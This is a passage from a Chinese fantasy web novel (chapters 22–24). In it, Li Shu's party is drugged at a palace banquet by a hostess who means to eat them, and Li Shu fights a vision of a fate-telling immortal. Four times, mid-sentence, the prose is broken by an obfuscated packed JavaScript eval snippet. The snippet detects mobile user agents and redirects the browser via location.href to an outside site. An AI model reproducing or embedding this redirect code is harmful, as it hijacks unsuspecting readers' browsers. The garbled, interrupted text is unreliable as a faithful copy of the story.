“暗河。”李恕的声音忽然响起,暗河精神一振,立刻转头看向入口,只见李恕从容走出甬道:“走吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153852|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我带你们出去。” “你知道怎么出去了?”暗河与放寒山同时开口。 李恕点头,一步一步退进甬道,暗河正想提醒她当心,随即发现一件事情:石壁人的眼睛没亮。 李恕又走出来,轻轻吐出二字:“呼吸。” 石壁人并不是靠眼睛、耳朵发现了李恕等人的存在,而是靠呼吸。 暗河明白过来:“只要我们屏住呼吸,就能避免法阵启动。” 知晓了其中关窍,众人马上决定离开这个鬼地方,最后呼吸了一口新鲜空气后依次冲进甬道。没有了星星点点的红色眼睛,甬道一片黑暗,只有脚步声落在地上。 放寒山紧紧跟在李恕身后,方才他与暗河说到最关键处李恕突然出现,是巧合还是故意为之?屏息的法子是李恕提出来的,甬道尽头是不是出口也只有她知道,若是她设下陷阱,自己岂不是正好跳进去? 说到底还是大意了,放寒山暗自懊悔,果然还是不能让李恕离开他的视线。 “啪嗒。”液体滴落的声音蓦地响起,放寒山惊觉不对,他们初次进入甬道时里面绝对没有任何液体,连石壁人都是干尸,现在的液体是哪里来的? “啪嗒。”又是一声,这次不是滴在地上,而是滴在了放寒山脸上。 放寒山的第一反应是好凉,第二反应是疯狂擦脸。天杀的,来路不明的液体滴在了他脸上!脸上! 带人进来之前,李恕除去了石壁人身上的冰霜,偶尔有几滴残留的冰水可以忽略不计,听着身后放寒山的脚步声陡然沉重起来,李恕不由得回头看了他一眼。 很快幻幻也察觉到了放寒山的异样,生怕他遭了什么暗算,他生平最在意形象,要是死在这个地方成了石壁人,简直要比碎尸万段还可怕。 “唔!”幻幻用力扯了一下放寒山的袖子,提醒他不要乱了气息。 放寒山继续擦脸。 幻幻胆战心惊:“唔唔唔唔?”你中邪了? 放寒山还在擦脸。 幻幻泪光盈盈,转向李恕求助:“唔唔唔唔,唔唔唔唔!”他发疯了,别丢下他! 李恕满头黑线,幻幻嗷嗷呜呜在干什么?算了,万一有谁呼出气息法阵马上就会启动,她可不想费了半天功夫最后前功尽弃。 李恕打定主意,落后半步扣住放寒山的肩膀。放寒山如临大敌,怀疑李恕准备趁机杀人灭口,但是李恕完全没有其他动作,而是一路带着他出了甬道。 白光乍现,众人眼前豁然开朗,放寒山无心其他,马上掏出镜子仔细检查他的脸。 李恕大概明白了他的异样,好心道:“是水。” 放寒山长长地松了口气,终于好受了些:“多谢。” 众人环顾四周,这里仍是一座四四方方的城池,不过墙上没有壁画,对面则是一扇半开半掩的城门。 22. 暗潮 门后隐隐传来人声,似有若无,可是在一座早就灭亡的古国听见人声,只会更加令人毛骨悚然。 李恕依然走在最前,伸手一推,城门开了,门后不是什么石兽、干尸,而是一名美貌女郎。 听见动静女郎转过头来,她的双眸乌黑发亮,紧盯众人的时候像是生了两把钩子:“又有客人来啦,这次来的都好俊呦。” 听见对方夸赞自己,放寒山还没开口先笑了三分:“谬赞,敢问姑娘如何称呼,此地乃是何处?” 女郎嘻嘻笑道:“我叫云朵,客人怎么明知故问,这里当然是王宫啦。” 几人前一刻还在城外,这便到了幽兰王宫? 云朵走上前来,热情似火地引着他们进城:“快进来吧,我家主人等你们好久了。哎呦这位姐姐的臂膀好结实哦!”她说的是暗河,一边说一边还想再捏一把。 暗河掀开兜帽:“我不是姐姐。” “啊?”云朵捂住嘴巴笑得更开心了,转而去挽李恕。她的手洁白柔软,姿态亲密非常,仿佛两人早就认识。 李恕问她:“你家主人在等我们?” “是呀,常有像你们这样的客人来此,主人说来者皆是客,特意遣我在此处迎接。” 原来不是特意等着李恕几人,而是等着所有来到幽兰古国的人。这倒是大大出乎意料,幽兰古国不仅不是一座死城,甚至还很欢迎外来的人? 在云朵的带领下,周围渐渐有了亭台楼阁,屋舍院落,婢女穿行其间,看见几人时露出柔柔笑意,然后继续做自己的事去了。 云朵主动解释:“客人来得真巧,主人正要举行晚宴,吩咐我先带几位去梳洗,晚上一同入宴。” 说话间进了一座富丽堂皇的宫殿,殿中轻烟袅袅,帷幔飘飘,以夜明珠作灯,以纯羊毛作毯,金银器皿随处可见,简直要把奢华两字怼在脸上。 放寒山真诚夸赞:“你家主人真有品味。” 云朵掩唇轻笑,转去偏殿,殿中浴池竟是由价值连城暖玉垒起来的。“客人奔波至此,想必路上都没好好休息吧?这池中的水泡了可以疏通经络,滋润肌体,不知几位可还喜欢?” 放寒山点头,岂止是喜欢,他简直都要爱上这里了。 “那就好,还请诸位尽情享用,我会安排婢女将干净的衣物送来。” 李恕谢过云朵,幽兰古国格外大气,给他们四人分别安排了一座小宫殿,李恕住在最左边,旁边是暗河。分别之际,李恕不动声色地扯了一下暗河的衣袖,飞快地对他做了一个口型:等我。 进了宫殿,李恕声称不习惯被人伺候,摒退了想要跟进浴室的婢女。婢女并未强求,哪怕后面来送衣物也只放在屏风外,尽量避免打扰李恕。 李恕衣物未除,静候半个时辰,估摸时间差不多了,悄悄拉开浴室后窗翻了出去,直奔暗河的住所。 尽管云朵表现得十分热情,但却透露出一股藏都藏不住的诡异,安排四座宫殿与其说是招待周全,不如说像在有意在分开他们。 所幸宫殿构造大差不差,李恕没费什么力气就找到了浴室,凝出冰刃斩断窗栓。 浴室雾气弥漫,仿若仙境,池中飘着层层叠叠的花瓣,香气随着水雾一起涌到李恕跟前。浴池旁的躺椅上睡着一道颀长人影,上身赤裸,下身只盖一张薄毯,因为洇了水汽清晰地勾勒出躯体线条。 李恕唇角轻勾,她让暗河等她,暗河竟然这样在等。 转过纱帐,李恕脚步一顿,方才隔着东西没看清,现在她看清了。躺椅上人双眸轻阖,轮廓分明,好看自然是极好看的,但他分明就是放寒山。 他为什么会在这里?这不是暗河住的宫殿吗?李恕莫名其妙,正想离开,转念一想来都来了,于是转身走了过去。 这人对自己的脸十分爱惜,涂了一层不明物体,圈圈环环的饰品取了下来,通身未加装饰,反而让他的俊美更加直观。 李恕的目光落在放寒山左眼上,他就是逍遥仙说的那个人吗? 七年前,李恕亲手打碎了她的命盘,告诉逍遥仙她的命运由自己掌握。现在放寒山的出现让李恕再次想起了逍遥仙的话:你的命运早已注定。 李恕握紧拳头,眼底暗潮汹涌,俯身逼近放寒山的脸。 她会不惜一切代价证明逍遥仙说的不对,那绝不是她的命运。她可以打碎命盘改命一次,就可以杀了放寒山改命第二次。 “客人,您要的玉容散来了。”婢女停在屏风外面柔声轻唤,声音不高不低,恰好足以叫醒放寒山。甫一睁眼,他便撞进一双汹涌炽热的眸子里,像是深不见底的漩涡,要把他连人带魂吞噬进去。 “你……”放寒山张了张嘴。 李恕比了个噤声的手势,放寒山心领神会,咽下没说完的话,让婢女把玉容散放在外面。 婢女依言照做,等她退下去,放寒山才压低声音道:“你怎么会在这里?” 李恕不答反问:“你又为什么在这里?” “我跟暗河兄换了,这不是重点,重点是你方才……你……”放寒山“你”了半天,脑海中全是李恕盯着他的眼神,只是回想一下都能感觉到炽热。 李恕耸了耸肩,无所谓道:“被你发现了。” 放寒山的思绪百转千回,最后把身上的毯子往上拉了拉,岔开话题:“你找暗河兄什么事?” “正事。” “说来听听。” “你不觉得这里的人很可疑吗?” “她们……特别热情?” “这是其中一点,最大的问题是——她们都说汉话。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158438|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城外遇见的幽兰国人说的全是幽兰语,城里的幽兰国人说的却是熟练无比的汉话,因为太过自然,李恕甚至也没能在第一时间反应过来。 放寒山摩挲下巴:“确实可疑,不过她们不足为惧,她们口中的主人才让我好奇,你觉得是不是幽兰国王?” “不知道,晚宴上自会有分晓。” 放寒山表示认同,看见李恕去了窗边,下意识问道:“你还要去找暗河兄吗?” “不去了。”李恕翻出窗户,时间来不及了,泡太久会引起婢女怀疑,想来不用她提醒暗河也能发现此处古怪,自会留心戒备。 回去后李恕换上婢女送来的衣服,假装沐浴完毕,要求去见暗河。婢女回答暗河正在休息,安抚李恕不要着急,如果实在无聊可以给她安排一些节目解闷。 李恕从善如流询问是什么节目,婢女很快传了一队乐人进入殿中。乐人有男有女,或抚琴,或吹箫,或跳舞,无一例外穿着清凉,纱衣只遮住重点部位,大方展示修长美丽的身体。其中一名跳舞的男子更是举止大胆,用嘴衔着玉杯喂李恕喝酒。 李恕抬手挡住:“我不喝酒。” 男子十分惋惜,退了下去。一曲舞毕,婢女上前询问:“客人不喜欢他们的表演吗?” “喜欢。很好。” “喜欢?”可是李恕的反应很冷淡啊。 一连听了好几支曲子,李恕都是一副似笑非笑的模样,婢女只好问她还有没有什么想听的,李恕整整衣袖:“我很尽兴,现在想休息了。” 婢女如释重负,仿佛完成了什么艰巨的任务:“我们这就退下。” 到了酉时,云朵如约前来接引李恕:“宴席已经备妥,主人正在等待几位驾临。” “我的伙伴们呢?我要和他们一起过去。” “这是自然,主人备了两辆金车,诸位可同乘赴宴。” 云朵说的金车,不是贴了金片的马车,而是实打实由黄金铸就的车,由两匹石兽并驾拉动,里面铺着兽皮,又宽敞又舒适。 暗河等人先一步等在车前,幻幻捂的还算严实,暗河与放寒山直接上身赤裸,露出紧实饱满的肌肉,珠链从胸前垂下,自背后交叉,最后系在腰上,头发全部散开编了细细的辫子,颇具异域风情。 李恕看了看自己穿的长裙,再看云朵黏在暗河与放寒山身上的视线,心下了然,她还挺会抓住机会为自己谋福利。 一辆金车可坐两人,云朵让他们自行选择与谁同乘,暗河自然想与李恕一起,放寒山却抓住他:“不行,你过来跟我和幻幻挤一挤。” 暗河不解其意,放寒山非要如此,等到三人都上了车,放寒山深吸口气:“我知道了。” 暗河与幻幻满头雾水等着他的下文,只听放寒山郑重道:“李仙师喜欢我。” 23. 晚宴 You 暗河严肃地制止放寒山:“请不要胡说八道。” 幻幻嘴角抽搐:“你果然还是中邪了。” 放寒山闭了闭眼,再睁开时语重心长道:“我没有胡说,你们没看见她在浴室里看我的眼神,简直像是要把我吃掉。” 暗河皱眉:“什么时候?” “就是我跟你换了宫殿之后,李仙师悄悄潜了进来,趁我闭目休息痴痴地盯着我……许久。看得出来,她以前一直在压抑自己。” 暗河看见了李恕对他做的口型,本不想与放寒山交换,然而云朵似乎察觉到了什么,主动劝说暗河选择另一座宫殿,暗河不想打草惊蛇只得应下了。 虽然不知浴室里到底是何情景,但是暗河记得清清楚楚,早在芈府时李恕便说过她不喜欢放寒山。“放统领,我想你误会了,你的猜测毫无根据。” 放寒山叹了口气,拍拍暗河的肩膀:“我明白,你是她的炉鼎,自然希望她心里只有你,可是感情这种东西是没法控制的,她也是趁我睡着了才敢暴露自己的真实情绪。” 幻幻呵呵道:“你睡糊涂了吧?我看你就是挨打挨得轻了,等她再抽你一顿你就老实了。” 放寒山弹了一下幻幻的脑门:“你一个小孩子懂什么感情?” “我不懂感情也懂好赖话,人家都说了要杀了你。” “那她杀了吗?我现在不是好好坐在这里?在甬道时她还特意护我出来。”放寒山早已看透一切,惋惜道,“想要读懂女人的心不能只听她说了什么,还要看她做了什么。可惜我已有命定之人,李仙师的一片深情我无法回应,只能装作什么都不知道。” 幻幻翻了个白眼:“你就癫吧。” 暗河的眼里仍旧写着不信,放寒山揽住他的肩膀微微一笑:“别难过暗河兄,她心里还是有你的,答应我不要因此伤了我们的兄弟情分好吗?” 暗河目视前方,平静答道:“她的心意我无权干涉,但前提是那确实是她的心意。” 金车行驶又稳又快,不多时便到了目的地,云朵恭请几人下车,还没进去就听见里面传来阵阵丝竹之音。 李恕走到暗河身边悄声嘱咐:“坐我旁边。” 暗河道了声好,放寒山见状微不可察地摇摇头,什么也没说。 宴席设得很大,绣着繁杂花纹的地毯从门口一直铺到里面,婢女莲步轻移穿行其间,纤纤素手送上美酒,有四张桌子已经坐了人,剩下的大半还空着,包括主位。 看见云朵,先来的一人粗着嗓子质问:“哥儿几个都等半天了,怎么还不开始?” “客人见谅,我家主人手头还有一些事情需要处理,很快就会过来。”云朵不卑不亢,邀请李恕一行坐在上席,随后又去忙了。 那人恼归恼,却不敢真的发作,只敢跟身边的人抱怨:“幽兰人真是奇怪,你说她们抠门吧到处都是金子,恨不得闪瞎人眼,你说她们大方吧我们坐半天了也舍不得上两道菜吃吃,光喝酒了。” 旁边的人劝他:“算了,至少这酒是真不错。” 李恕抬眸望过去,对方同样也在打量她。那四人穿着幽兰古国的衣服,体型分别占了高、矮、胖、瘦四字。高个子肩上蹲着一只灰溜溜的大老鼠,时不时从他手中讨食物吃。 他们的气息太过明显,算不得什么高手,不过能到这里肯定有些看家的本事。 左右也是闲着,李恕悄声问暗河:“你觉得他们有什么绝技?” 暗河想了想:“那只老鼠似乎很不一般。” 一般来说没人会拿老鼠当宠物,而高个子对老鼠可谓宠爱有加,又是喂食又是摸头,就差亲几口了。 “不一般在哪里?” 这个问题暗河一时半会儿也回答不上来,放寒山忍不住凑了过来:“那是遁地鼠,那伙儿人是盗墓贼。” 李恕哦了一声,给了他一个继续说的眼神,放寒山只好继续说了。 “那只老鼠原先住在墓里,以尸为食,后来阴差阳错被盗墓贼收入囊中,训练它专门寻找墓穴,挖洞带他们进去盗墓。这种事情上不得台面,只能悄悄地干,原本没有什么人会注意他们,谁知他们胆大包天,竟然盗了青石寺彗盈法师的墓塔,偷走塔中舍利,为自己挣了一份‘响当当’的恶名。” 放寒山说了一长串话,矮个子盗墓贼猜到在说自己,以手作刀比了个抹脖子的动作,威胁他们小心一点儿。 李恕指了指放寒山,回给对面一个拇指向下的手势。矮个子盗墓贼大怒,一拍桌子就要冲过来,被同伴按住了。 放寒山似有无奈,李恕嘴上不说,心里对他的实力还是很认可的。算了,让让她吧。 双方进一步交恶之前,消失已久的云朵终于去而复返,引着一队紫衣女修缓缓入席,正是先进城的付剑心等人。 高个子盗墓贼赶紧将老鼠塞进怀里,避开紫竹峰弟子的视线,想来是怕被识破身份扭送去青石寺。 云朵站到主位旁边,高声道:“实在抱歉,让诸位久等了,现在所有客人都到齐了。” 矮个子盗墓贼正愁没出发火:“你主人呢,怎么还不过来?哪有让客人等主人的道理!” “我家主人已经处理完了事情,马上就来。” “你都说多少遍了,什么劳什子晚宴,把哥儿几个饿得前胸贴后背,你要怎么赔罪?” 云朵受了诘问,面上仍旧笑盈盈的,不对,是笑意更幽深了。“客人莫急,我家主人对本次晚宴十分重视,吩咐我一定要好好招待遁地鼠四兄弟、捕星司放统领,还有——”云朵看向付剑心,一字一句道,“各位紫竹峰弟子。” 话毕,众人神色微妙,幽兰古国不通外界,云朵怎会如此清楚他们的身份? “至于客人问我为何不准备食物,实在是冤枉我了,世间最美味的佳肴不是已经在眼前了吗?” 桌上除了酒壶再无他物,矮个子盗墓贼摸不着头脑,又被云朵诡异的笑容惹得浑身发毛,愣愣问她:“在哪,我怎么没看见?” 云朵仍旧是笑,众人面面相觑,心中渐渐有了一个可怕的猜测。 “你说的食物是……我们?” “当然,新鲜的人类是这世上最好吃的东西。” “你有病吧?”矮个子盗墓贼大吼一声跳了起来,“大哥,我们快离……”离开二字还没说完,矮个子扑通一声栽了下去。 不只是他,四个盗墓贼倒了一地,紫竹峰弟子警铃大作,正欲起身,却发现自己的胳膊和腿仿佛变成了面团捏的,不受控制地软倒在地,只能焦急地问唯一还站着的付剑心:“大师姐……怎么回事……” 李恕强撑身体扶住桌子,然而终究无力抵挡四肢百骸传来的酥软,歪到旁边暗河怀里,直接将他压在了地上。湿热的呼吸拂在颈侧,暗河耳根一热,随即躺着不动了。 转眼之间,所有人都成了案板上的鱼肉。 云朵咯咯发笑:“哎呀呀都倒下了,不对,那里还有一个站着的。”她说的是付剑心,只不过付剑心的脸色也没好到哪去。 “不愧是紫竹峰弟子,果然比常人难对付些,不过就算你能站着也没力气调动灵力了吧。” 付剑心勉力支撑,回忆她们遇见云朵后发生了什么:“浴池的水有问题?” “浴池的水、桌上的酒、屋内的香都有问题——里面下了足量的软筋散,用起来无色无味,发作起来也无声无息。” 一名紫竹峰弟子出言警告:“你赶紧……放了我们……否则,我师尊不会饶了你的!” “我好怕啊,沉璧上人修为高深,吃起来一定更加可口,我怕把主人的嘴养刁了,以后再找食物就更难了哈哈哈哈哈。” 听见云朵对沉璧上人出言不逊,紫竹峰弟子纷纷气白了脸,付剑心扬手打出一道灵力,可惜被云朵避开了,之后她也终于坚持不住半跪在地上。 “瞧你,生得那么漂亮,脾气却那么糟糕,这样可不讨人喜欢。”云朵故作害怕地拍拍胸口,又逗了付剑心几句才走向李恕这边。 “啧啧,好极品的男人,而且一来就来俩,不好好快活一番实在是太浪费了。” 放寒山额角抽搐:“你说的快活是我想的那种快活吗?” “正是。” “我拒绝。” “拒绝无效。” 云朵蹲下身来,指尖在放寒山胸口游走,惹得放寒山起了一身鸡皮疙瘩:“我警告你不要太过分。” “这就过分啦,我还有更过分的呢。”云朵手指往下,放寒山顿时毛发炸起:“你做什么!住手!我可是好人家的男儿!” 云朵哈哈大笑,眼看着就要碰到不该碰的地方,李恕忽然叫住她:“等等,我有一个提议。” 云朵侧目,只听李恕道:“你为什么不先来跟暗河快活?” “什么?”云朵不解,暗河则是难以置信,呼吸都乱了几分。 李恕认真道:“我觉得暗河比放寒山好看,如果是我的话当然会先睡更好看的那个。” 放寒山忍不住想,李恕为了救他连这种谎话都说得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162887|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,真是用心良苦。 云朵鼻腔里发出嗤笑:“真有意思,我还以为你俩是一对呢,原来不是吗?” “是不是不重要,识时务者为俊杰,你睡了他能不能放了我们?” 云朵不说答应也不说不答应,走过去推开李恕仔细打量暗河:“可惜你这么好看的人,大难临头还是立刻被抛弃了,那你以后就跟着我吧,我会好好疼爱你的。” 云朵伸手欲摸暗河的脸,不成想眼前虚影一闪,整条胳膊登时失了知觉,无力地垂了下来。 云朵大惊,一连退后几步:“你没中招?” 暗河站了起来,在他身后李恕从容地坐起身,两人俱是神色清明,方才的虚弱分明都是装出来的。 “可恶!”云朵斥骂,她竟然被李恕耍了,既然如此那就别怪她不客气! 云朵飞上主位,用力一拍墙壁,墙后的暗门伴着隆隆声出现,云朵闪身钻了进去了,冷笑着丢下一句永别了。 暗门迅速合上,然而隆隆声并没有停止,反而整个大殿都开始颤抖起来。矮个子盗墓贼惊慌失措,拼命爬向同伴,谁知他的身体忽然陷进了地毯里。 “救命!大哥救我!”矮个子撕心裂肺地叫了起来,高个子盗墓贼赶紧伸手抓他,还没碰到他的指尖矮个子就掉了下去。 地毯被带了下去,众人脚下的地板竟然正在从中间裂开,飞快地缩向两边。 “老二!”幽深的裂缝下没有传来任何回应,甚至连矮个子落地的声音都没听到。 下面到底有多深?众人没有时间思考这个问题,寒气顺着裂缝扑面而上,短短几个呼吸过后大殿的地面已经少了一半,紫竹峰弟子挣扎着退到墙根,急道:“师姐,怎么办啊?” 付剑心环顾四周,现在只有一个地方可供容身——宴席主位,可是通向主位的路已经完全消失,对身中软筋散的众人来说想要过去并不容易。 “仙师救命!”盗墓贼最先反应过来,什么恩怨是非都不重要,赶紧求救才是正道。紫竹峰弟子却开不了口,此前她们对李恕等人的态度堪称冷淡,如今求救难免有些拉不下脸。 暗河无心计较这些,应道:“我带你们过来。” 李恕拉住暗河:“站着吧,你一个人怎么救的过来。” 众人的希望升起又落空,一名紫竹峰弟子忍不住道:“你不救我们就算了,何必阻止别人!” “他可不是我的别人。”李恕飞身站到主位边缘,说话间一道宽约两臂的冰道从她脚下蔓延至墙边,“自己过来。” 冰道晶莹剔透,仿若琉璃,付剑心眉心一跳,死死盯住李恕的脸。 真意有些不确定:“你竟然要我们爬过去?” “怎么,难道你们不能走过来?” 当然不能,她们现在连站都站不起来。真意颇为恼怒,身为紫竹峰弟子,怎能如此丢人现眼? “让开,你不爬别挡路。”盗墓贼浑不在意,挤开真意涌上冰道,虽然被冻得直打哆嗦,但一个比一个爬得快。 “李仙师……”幻幻眼巴巴地看着李恕,地板从中间分开,李恕只造了一条冰道,他想爬也没有啊。 放寒山躺在地上,其实已经趁着众人不注意整理了仪容:“暗河兄,劳驾你把幻幻带过去。” 暗河正有此意,幻幻赶紧趁机求他:“暗河仙师,你把放寒山也带过来吧。” 放寒山也是这么想的,如果暗河答应最好,如果不答应希望幻幻再多求几遍。 李恕不经意挡住暗河去路,幽幽道:“放统领看起来不太妙啊,需要我帮你也造一条冰道吗?” 她说话时尾音上扬,听起来十分愉悦,落在幻幻耳中则多了几分危险。幻幻绝对相信李恕做得出来眼睁睁看着放寒山掉下去的事,也就放寒山脑子抽了才能认为李恕暗恋他。 “好,谢谢李仙师救他!”幻幻生怕放寒山死要面子活受罪,赶紧替他答应下来。 李恕却只盯着放寒山:“放统领觉得呢?” 地板即将完全缩进墙壁,放寒山的一条小腿已经垂了下去,再犹豫一会儿他就算想答应也来不及了。 “我……”放寒山张了张嘴,还没吐出完整音节,一只苍白的手忽然从深渊中探了出来,抓住放寒山的小腿用力一拉! “放寒山!”幻幻目眦欲裂,冲着深渊大喊,下一刻便有一道身影追着放寒山跳了下去。 是李恕。 幻幻愣在原地,好一会儿才喃喃道:“李仙师真喜欢他啊......” 24. 指引 周遭一片漆黑,静得只能听见心跳,李恕浑身浴血,一双眸子幽绿至极。脚下的路结了冰,每走一步洞内的寒意就会更深一分,但是整座山洞早就被冻住了,只有纷纷扬扬的黑色雪花无声飘落。 很快李恕停了下来,想要抱起躺在地上的人。她的手伸到半空又停住,然后收回来用力在衣服上摩擦,试图擦干净手上的血。可惜她的衣服早就被血浸透了,只会越擦越脏。 “对不起,阿娘。”李恕跪在地上,一遍遍道歉,“对不起……我没有保护好你……” 地上的人双眸紧闭,没有回应,她的身体既柔软,又冰冷。李恕用力压下眼中热意,小心翼翼把人圈进怀里。 “李恕。”有声音在叫她。 李恕回头,她的身后不知何时现出了一团温暖的光,一个身着白袍的人站在那里,白色的皮肤,白色的头发,连睫毛都是白色。 “李恕。”那人声音温柔,李恕沐浴在祂的目光中,身上的寒意似乎都消了几分。 “你是谁?” “我是逍遥仙。”白袍人走向李恕,把温暖的光带到她身边,“我是来指引你的。” “指引我什么?” “留下来吧,不要出去。”逍遥仙俯身,怜悯地注视李恕怀中的人,说出的话却不带一丝感情,“你阿娘已经死了,这是她的命运——你也有自己的命运。” “不,我阿娘没有死。” “她的命运到这里就结束了,你没有办法强求。” “闭嘴。”细小的冰霜凝结在李恕皮肤上,“你到底是谁?” “我说过了,我是逍遥仙,我是来指引你的。”逍遥仙轻挥衣袖,一株幼苗在他脚下破土而出,转眼长成一株枝繁叶茂的大树,无数玉盘被红线绑住缀在树间。 逍遥仙伸出手,勾住其中一只玉盘:“你看,这就是你的命盘。上面写着,只要你留下来,留在这个洞中,就能遇见你的命定之人,你会拥有爱你的丈夫、可爱的孩子以及幸福的一生。” 小小的玉盘莹润光洁,悠悠晃动,仿佛在向李恕展示它的美好。 “我阿娘呢?” “她已经死了,而你会放下恩怨隐姓埋名,平静地过完一生。” “我拒绝。” “这就是你的命运。” “不是,我不要什么命定之人,我只要我阿娘。” 逍遥仙看着她,像在看一个无理取闹的孩子:“你的命运早已注定,即使你再怎么逃避,你的命定之人也会一次又一次地找到你。” 李恕不再争辩,平静地问:“你说的命定之人长什么样子?” “当你看到他的眼睛就会知道是他。” “那我就杀了他。”回答逍遥仙的同时,一支冰箭破空而去,将那命盘射得粉碎——“我的命运我自己决定。” 李恕按住眉心压下翻涌的记忆,追着放寒山跳下来时两人没有落在一处,她要尽快找到放寒山,然后杀了他。 李恕没用火符照明,幽绿色的眼睛能让她在黑暗中看清一切。一连转过好几道弯,眼前忽然出现一方洞穴。李恕蓦地收紧手指,这洞穴她太熟悉了,就算化成灰也认得……灰?漫天飞灰飘撒下来,像是下了一场黑色的雪。 “又见面了。”身后那道温柔缥缈的声音一如从前,李恕转头,逍遥仙一袭白袍,整个人宛如一株洁白的花。 祂道:“你已经遇见他了,你的命定之人。” 李恕沉默不语。 “我早说过,你们注定会遇见彼此。”看见李恕手中的冰刃,逍遥仙发出叹息:“为什么非要折磨自己?你明明可以选择更快乐的生活。” 逍遥仙带来的白光太过温暖,像是阿娘曾经抱着她的体温,李恕不自觉松了手:“你告诉我这些,想从我这里得到什么?” “我只是不愿看见你因为违背命运苦苦挣扎,我想你阿娘同样不愿看见。” “阿娘……”李恕垂下头,眼中的幽绿慢慢熄灭,这次她不再是一个无理取闹的孩子,而是一个无助的孩子。 逍遥仙轻抚李恕的发顶:“现在还来得——” 他的话还没说完,腹中便没入一截冰刃,李恕眼中的幽绿重新烧了起来:“阿娘想看见什么样的我,轮不到你来多嘴。” 白光散了,逍遥仙的身体化作万千碎星,又在远离李恕的地方重新凝聚成形。 “你会后悔的。” 李恕的回答是再次举起冰刃,就在她要刺中逍遥仙时,逍遥仙忽然用力握住她的手腕,雪白的长发瞬间变成了黑色。 “李恕!” 这声音……放寒山? 李恕反手打出一掌,放寒山撞上墙壁,哑声道:“是我……” 李恕后退几步站定,面前没有逍遥仙的影子,周围也没有什么山洞,她还在深渊里。 “你看见幻象了?”放寒山按住胸口,正想问问李恕看见了什么,一抬头却被那双眸子摄住,说出的话不自觉变了,“你的眼睛……” 李恕眉心微动,发现她眼中的幽绿浅了一些,放寒山忙道:“没事,你的眼睛……很漂亮。” 李恕仿若未闻,只问自己想知道的事情:“你怎么知道我看见了幻象?” 放寒山慢慢走过去,软筋散还在他体内作祟,加上受了李恕一掌,他现在真是伤上加伤:“我的左眼比较特殊,能够看见一切真实之物。” “所以你能看见阴阳交界处的客栈,识破赤霞派的护山大阵?” “没错,之前有个半仙找到我,说什么左眼会为我带来灾祸,我没信,因为祂还说我会在夜魔洞穴遇见命定之人,结果那里什么都没有。”放寒山一边说着,一边嘶了一声,“你下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175611|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可真狠,扶我一把?” 放寒山抬起右手,希望能借个力,李恕凝他片刻,收了冰刃,将他的胳膊搭在自己肩上。 放寒山突然有些不好意思:“谢谢,我没想到你会跳下来救我,你……呃,总之谢谢你,我一定会报答你的救命之恩的。” “如何报答?” “你想我怎么做?”放寒山思绪飞转,按照他的想法最好是用钱报答,可是李恕明显对钱没有兴趣,她有兴趣的是……若是李恕要他以身相许,他该不该答应呢? “我要你。” 放寒山睁大眼睛,竟然真的被他猜中了,这可如何是好?他还没有做好准备,没想到魔族的感情如此热烈,既然如此,只能…… “帮我拿到天书。” 放寒山:“?” 放寒山把两句话连在一起:“你要我帮你拿到天书?” 李恕点头:“没错。” 放寒山:“……好。” 原来不是要他以身相许啊,那可真是太好了……但是为什么又有点不爽呢? 放寒山答应得如此轻易,李恕问道:“你不担心天书落进我手里?”看见她的眼睛,已经能确定她是魔族无疑。 放寒山心不在焉:“我应该担心吗?现在最该担心的是怎么出去吧。” “不出去,你还记不记得小狼说过,幽兰国王横征暴敛修建新城。” 放寒山完全不记得这事:“他说过吗?” 李恕顿了一下:“我记错了,那时你不在。”这一路她与暗河形影不离,下意识把放寒山当成暗河了。 “没事,你继续说。”放寒山莫名开心起来,什么叫日有所思夜有所梦,李恕一定常常想起他吧。 “我怀疑小狼说的就是这座地下城,所以我们要做的不是离开,而是进去。” “也行,上面有暗河兄在,幻幻他们应当不会有事。” 两人边说边走,前方的路渐渐有了光亮,一名年轻女子站在夜明珠下,慢慢转过身来。她穿着紫竹峰的弟子服,肩背挺直,眉目乌黑,腰间悬着一管竹笛,笛穗共衣摆翩翩拂动。 